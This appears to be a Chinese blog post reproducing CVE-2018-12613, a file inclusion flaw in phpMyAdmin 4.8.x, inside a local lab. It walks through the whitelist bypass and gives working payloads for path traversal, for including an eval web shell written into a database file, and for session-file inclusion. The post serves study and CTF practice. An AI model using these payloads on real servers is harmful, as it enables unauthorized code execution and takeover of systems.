CVE-2018-12613[远程文件包含漏洞]复现

0x00漏洞介绍

攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。 攻击者必须经过身份验证,但在这些情况下除外:

  • $ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;
  • $ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。

0x01漏洞影响范围及复现环境

影响范围: phpMyAdmin 4.8.0和4.8.1

复现环境:phpstudy+phpmyadmin4.8.1

QQ截图20201201003146.png

0x02漏洞原理

在phpMyAdmin 4.8.1版本的index.php文件中,有如下代码

QQ截图20201201001312.png

第四个判断是黑名单判断。在index.php中已经定义好了target_blacklist的值,它们是import.php和export.php,只要不等于这两个值就可以。

第五个判断Core::checkPageValidity($_REQUEST[‘target’]为真,通过全局搜索发现了代码在libraries\classes\Core.php文件的第443-476行

只要我们绕过这些限制,就能执行index.php的第61行代码进行文件包含

checkPageValidity函数如下

QQ截图20201201003234.png

问题出现在第 465 行的urldecode() 我们可以利用这个函数绕过白名单检测,并且只要在whitelist数组内的page就可以,只要把 ? 两次url编码为 %253f 即可绕过验证

**goto_whitelist数组的白名单列表: **

我们只要随便利用其中一个即可

QQ截图20201201002913.png

0x03漏洞利用

任意文件包含

我们先在根目录下创建 cc.txt ,内容随意写入。

payload:

?target=db_datadict.php%253f/../../../../../../../../cc.txt

QQ截图20201201143659.png

可以看到我们成功访问了cc.txt

任意代码执行

  • 写入shell

首先查一下当前数据库的所在路径

show global variables like "%datadir%";

QQ截图20201201183403.png

创建一个数据库test1,创建表test,表值为 <php? eval($_POST[1]);?>

QQ截图20201201183747.png

也可以在命令行写sql语句一部到位

payload:

1=phpinfo();&target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/test1/test.frm

可以看到成功执行了

QQ截图20201201183047.png

  • session文件包含

我们先在数据库执行sql语句 SELECT '<?php phpinfo()?>';

QQ截图20201201194038.png

这样这个查询语句就写入了session,也就是将 可执行代码 phpinfo();写入了session中

然后我们f12可以查看到当前sessionid的值

QQ截图20201201193852.png

session的文件名为sess_+sessionid. session路径的视环境而定

payload:

?target=db_datadict.php%253f../../../../../../../../../../phpStudy/PHPTutorial/tmp/tmp/sess_ldt0dss03ofker4jgl15ouriu5

可以看到执行了

session包含.png

0x04CTF练习题

参考 buuoj web部分的 warmup 和 [GWCTF 2019]我有一个数据库

参考:
phpmyadmin 4.8.1任意文件包含
phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613)

  • 0
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值